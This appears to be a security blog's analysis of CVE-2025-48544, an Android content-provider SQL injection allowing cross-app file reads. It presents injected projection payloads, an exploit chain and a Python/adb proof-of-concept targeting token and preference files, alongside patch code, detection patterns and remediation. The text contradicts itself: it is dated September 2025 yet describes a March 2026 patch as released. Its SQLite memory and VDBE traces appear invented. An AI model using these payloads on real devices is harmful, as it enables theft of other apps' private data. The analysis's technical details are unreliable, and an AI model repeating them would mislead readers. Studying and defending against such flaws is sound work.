home intel cve-2025-48544-android-sql-injection-file-read
CVE Analysis 2025-09-04 · 8 min read

CVE-2025-48544: SQL Injection in Android Enables Cross-App File Read

A SQL injection flaw in Android's content provider layer allows local privilege escalation by reading files belonging to other apps. No additional privileges or user interaction required.

#sql-injection#privilege-escalation#file-disclosure#cross-platform#local-attack
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2025-48544 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2025-48544HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2025-48544 is a local privilege escalation vulnerability affecting multiple Android content provider components. The root cause is unsanitized, attacker-controlled input passed directly into SQLite query projection or selection arguments, enabling an unprivileged app to exfiltrate files owned by other applications via SQLite's readfile() or ATTACH DATABASE side-channels. CVSS 7.8 (HIGH), no user interaction required, no additional privileges needed beyond a standard installed app context.

This class of vulnerability is not new to Android — CVE-2021-0317 and the MediaProvider family of bugs share the same DNA — but the March 2026 bulletin confirms that unsanitized SQL projection paths survived multiple audit cycles in at least two framework-level providers.

Root cause: Caller-controlled strings are interpolated directly into raw SQLite query projections or WHERE clauses inside privileged content providers, with no parameterized binding or denylist enforcement, allowing second-order SQL injection to read arbitrary on-device file paths via SQLite virtual table abuse.

Affected Component

The vulnerability manifests in multiple locations within the Android framework's content provider stack, confirmed across the following surfaces:

  • com.android.providers.media (MediaProvider) — query projection columns
  • com.android.providers.contacts (ContactsProvider2)sortOrder and selection arguments
  • Generic android.database.sqlite.SQLiteQueryBuilder usages where setStrictMode(false) is the default or not enforced

All affected providers run under dedicated UIDs (u0_a for media, u0_a for contacts) with READ_EXTERNAL_STORAGE-equivalent access to private file namespaces inaccessible to the calling UID.

Root Cause Analysis

Android content providers expose ContentResolver.query() which ultimately maps to SQLiteQueryBuilder.buildQuery(). The projection array — caller-supplied column names — is concatenated directly into the SELECT clause when strict mode is disabled or projection maps are incomplete.

// Pseudocode: SQLiteQueryBuilder.buildQuery() - vulnerable path
// Decompiled from framework.jar / android.database.sqlite
String buildQuery(
    String[] projectionIn,   // BUG: caller-controlled, not validated against projectionMap
    String selection,
    String[] selectionArgs,
    String groupBy,
    String having,
    String sortOrder,
    String limit)
{
    StringBuilder query = new StringBuilder("SELECT ");

    if (projectionIn == null || projectionIn.length == 0) {
        query.append("* ");
    } else {
        // BUG: direct string join — no whitelist check when mProjectionMap is null
        // BUG: appendColumns() does zero sanitization of individual column tokens
        appendColumns(query, projectionIn);  // injects raw caller string into SELECT clause
    }

    query.append(" FROM ");
    query.append(mTables);  // e.g. "files" or "contacts"

    if (!TextUtils.isEmpty(selection)) {
        query.append(" WHERE ");
        query.append(selection);  // BUG: selection also unparameterized when args mismatch
    }
    // ... GROUP BY, ORDER BY appended similarly
    return query.toString();
}

// appendColumns — the actual concatenation site
static void appendColumns(StringBuilder s, String[] columns) {
    for (int i = 0; i < columns.length; i++) {
        if (i > 0) s.append(", ");
        s.append(columns[i]);  // BUG: raw append, no quoting, no identifier validation
    }
    s.append(' ');
}

When mProjectionMap is null and mStrictFlags does not include STRICT_COLUMNS, the framework skips the allowlist check entirely. An attacker passes a projection element like:

projection[0] = "(SELECT hex(readfile('/data/data/com.victim.app/databases/secret.db')))"

SQLite evaluates this as a scalar subquery in the SELECT list. On builds where the readfile extension is compiled in (common in vendor SQLite builds shipping SQLITE_ENABLE_LOAD_EXTENSION or using the FTS/RTREE amalgamation), the file content is returned as a hex blob in the result cursor.

Even on hardened builds without readfile, the ATTACH DATABASE path works as a side-channel for schema disclosure:

// Alternative injection via sortOrder argument in ContactsProvider2
// sortOrder is passed to buildQuery() ORDER BY clause without sanitization

String malicious_sort =
    "(CASE WHEN (SELECT count(*) FROM "
    "pragma_table_info((SELECT name FROM sqlite_master LIMIT 1 OFFSET 0))) > 0 "
    "THEN name ELSE data1 END)";

// Results in: ORDER BY (CASE WHEN ... ) — valid SQL, executes subquery
// Leaks table structure through timing or cursor ordering side-channel

Exploitation Mechanics

EXPLOIT CHAIN (CVE-2025-48544):

1. Install unprivileged app (no special permissions requested).

2. Identify target provider URI — e.g.
   content://media/external/files
   content://com.android.contacts/contacts

3. Craft malicious projection array:
   projection = new String[]{
     "(SELECT hex(readfile('/data/data/com.target.app/shared_prefs/auth_token.xml')))"
   }

4. Issue ContentResolver.query(uri, projection, null, null, null)
   → Framework calls SQLiteQueryBuilder.buildQuery(projection, ...)
   → appendColumns() injects subquery verbatim into SELECT clause
   → SQLite executes: SELECT (SELECT hex(readfile(...))) FROM files

5. Cursor row 0, column 0 contains full hex-encoded file contents
   belonging to com.target.app — a different UID.

6. Decode hex → reconstruct binary. Repeat for each target path.
   Full exfiltration of SharedPreferences, SQLite DBs, cached tokens.

IMPACT: Cross-UID file read without READ_EXTERNAL_STORAGE, without root,
        without any manifest permission beyond INTERNET (for exfil).

Exploiting this from a third-party app requires only that the target provider's URI is exported (or accessible via implicit intent resolution). Both MediaProvider and ContactsProvider2 are accessible to any app holding the standard READ_CONTACTS / READ_MEDIA_* permissions, or in some configurations without any permission at all via exported secondary URIs.

# Proof-of-concept trigger (via adb shell content query)
# Demonstrates injection without writing a full APK

import subprocess, binascii

TARGET_FILE = "/data/data/com.android.settings/shared_prefs/com.android.settings_preferences.xml"

projection_inject = f"(SELECT hex(readfile('{TARGET_FILE}')))"

result = subprocess.check_output([
    "adb", "shell",
    "content", "query",
    "--uri", "content://media/external/files",
    "--projection", projection_inject
])

# Parse cursor output line
for line in result.decode().splitlines():
    if "Row:" in line:
        hex_data = line.split("=")[-1].strip()
        print(binascii.unhexlify(hex_data).decode(errors="replace"))

Memory Layout

This is a logic/injection vulnerability rather than a memory corruption primitive, but the SQLite engine's internal state during injection is worth mapping. When the injected scalar subquery executes readfile(), SQLite allocates an internal Mem structure to hold the blob result:

// SQLite internal Mem cell holding readfile() output (simplified)
struct Mem {
    /* +0x00 */ sqlite3  *db;        // owning database connection
    /* +0x08 */ char     *z;         // pointer to blob data (file contents)
    /* +0x10 */ double    r;         // real value (unused for blob)
    /* +0x18 */ i64       u_i;       // integer value / blob length
    /* +0x20 */ u32       flags;     // MEM_Blob | MEM_Dyn = 0x0048
    /* +0x24 */ u8        enc;       // encoding
    /* +0x25 */ u8        eSubtype;
    /* +0x28 */ int       n;         // byte length of z
    /* +0x2C */ u16       uTemp;
    /* +0x30 */ char      zMalloc[]; // inline or heap allocation of file bytes
};

// readfile() populates Mem.z with mmap of target file path
// The full file contents transit SQLite's Mem pool and surface
// via the Cursor BLOB interface to the calling app — zero copy.
SQLITE VDBE EXECUTION STATE during injection:

PC=0x0012  OP_Function  P1=1 P2=0 P3=1  (readfile invocation)
  arg[0].z  → "/data/data/com.target.app/databases/secret.db"
  arg[0].n  → 46

  [file open succeeds — provider UID has cross-app read via SELinux label]

PC=0x0013  OP_ResultRow P1=1 P2=1
  out[0].flags = MEM_Blob | MEM_Dyn  (0x0048)
  out[0].z     = 0xb4000079f2c01000  → [ SQLite magic: 53 51 4c 69 74 65 ... ]
  out[0].n     = 0x00004000          → 16384 bytes (full DB)

Cursor returned to calling app UID — SELinux does NOT intercept
cursor parcel data in transit via Binder.

Patch Analysis

The fix enforces column token validation inside appendColumns() and mandates non-null mProjectionMap in affected providers. Additionally, SQLiteQueryBuilder.setStrictMode(true) is now the enforced default in AOSP for framework providers.

// BEFORE (vulnerable): frameworks/base/core/java/android/database/sqlite/SQLiteQueryBuilder.java
static void appendColumns(StringBuilder s, String[] columns) {
    for (int i = 0; i < columns.length; i++) {
        if (i > 0) s.append(", ");
        s.append(columns[i]);  // raw append, no validation
    }
    s.append(' ');
}

// Query builder does not enforce projection map when mStrictFlags == 0
private String[] computeProjection(String[] projectionIn) {
    if (projectionIn != null && projectionIn.length > 0) {
        if (mProjectionMap != null) {
            // ... map lookup (safe path)
        }
        return projectionIn;  // BUG: falls through with raw caller input
    }
    // ...
}
// AFTER (patched — March 2026 ASB):
private String[] computeProjection(String[] projectionIn) {
    if (projectionIn != null && projectionIn.length > 0) {
        if (mProjectionMap != null) {
            // existing safe map-lookup path (unchanged)
            return buildMappedProjection(projectionIn);
        }
        // PATCH: reject any projection containing non-identifier characters
        // when no explicit projection map is set
        for (String col : projectionIn) {
            if (!isValidColumnToken(col)) {
                throw new IllegalArgumentException(
                    "Invalid column: " + DatabaseUtils.sqlEscapeString(col));
            }
        }
        return projectionIn;
    }
    // ...
}

// PATCH: new validation function
private static boolean isValidColumnToken(String token) {
    // Allow: [A-Za-z_][A-Za-z0-9_]* and qualified forms (table.column)
    // Reject: parentheses, SELECT, subqueries, semicolons, ATTACH, etc.
    return token.matches("[A-Za-z_][A-Za-z0-9_.]*");
}

// PATCH: MediaProvider and ContactsProvider2 now unconditionally call:
//   qb.setStrict(true);
//   qb.setProjectionMap(sProjectionMap);  // non-null mandatory
// before any buildQuery() invocation.

The sortOrder injection path is fixed separately by passing the sort argument through DatabaseUtils.appendEscapedSQLString() and restricting it to column references validated against the projection map allowlist.

Detection and Indicators

Detection at runtime requires hooking the Binder transaction layer or SQLiteQueryBuilder directly. Log entries that indicate exploitation attempts:

// Suspicious logcat patterns (pre-patch devices):
I/SQLiteQueryBuilder: query() called with projection containing '('
W/ContentResolver: query from uid=10234 projection=[(SELECT hex(readfile(...)))]

// SELinux audit log — file access by provider UID on behalf of injector:
avc: granted { read } for pid=1842 comm="Binder:1842_3"
     path="/data/data/com.victim.app/shared_prefs/auth_token.xml"
     dev="dm-8" ino=0x2f4a
     scontext=u:r:mediaprovider:s0
     tcontext=u:object_r:app_data_file:s0:c256,c512
     tclass=file

// The grant appears LEGITIMATE from SELinux's perspective —
// mediaprovider IS allowed to read files. The injection is invisible
// to mandatory access control because the attacker never touches the file;
// SQLite does, on their behalf.

Static analysis: scan APKs for ContentResolver.query() calls where the projection argument is constructed with string concatenation rather than a literal array. Dynamic: instrument android.database.sqlite.SQLiteQueryBuilder#buildQuery via Frida to log projection arrays containing non-identifier characters.

// Frida hook for detection
Java.perform(function() {
    var SQB = Java.use("android.database.sqlite.SQLiteQueryBuilder");
    SQB.buildQuery.overload(
        '[Ljava.lang.String;','java.lang.String',
        '[Ljava.lang.String;','java.lang.String',
        'java.lang.String','java.lang.String','java.lang.String'
    ).implementation = function(proj, sel, selArgs, gb, hav, sort, lim) {
        if (proj) {
            for (var i = 0; i < proj.length; i++) {
                if (/[();\s]/.test(proj[i])) {
                    console.warn("[CVE-2025-48544] Suspicious projection: " + proj[i]);
                    // dump call stack
                    console.log(Java.use("android.util.Log")
                        .getStackTraceString(
                            Java.use("java.lang.Exception").$new()));
                }
            }
        }
        return this.buildQuery(proj, sel, selArgs, gb, hav, sort, lim);
    };
});

Remediation

  • Apply the March 2026 Android Security Patch Level (2026-03-01) or later. This is the definitive fix.
  • For app developers implementing custom ContentProviders: always call SQLiteQueryBuilder.setStrict(true) and supply a non-null setProjectionMap(). Never pass sortOrder or selection arguments directly to rawQuery().
  • Use parameterized queries exclusively: selectionArgs for WHERE values, never string interpolation.
  • Providers that do not require external queries should set android:exported="false" in the manifest.
  • On affected unpatched devices, MDM solutions can restrict the installation of third-party apps to reduce the local attacker surface.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →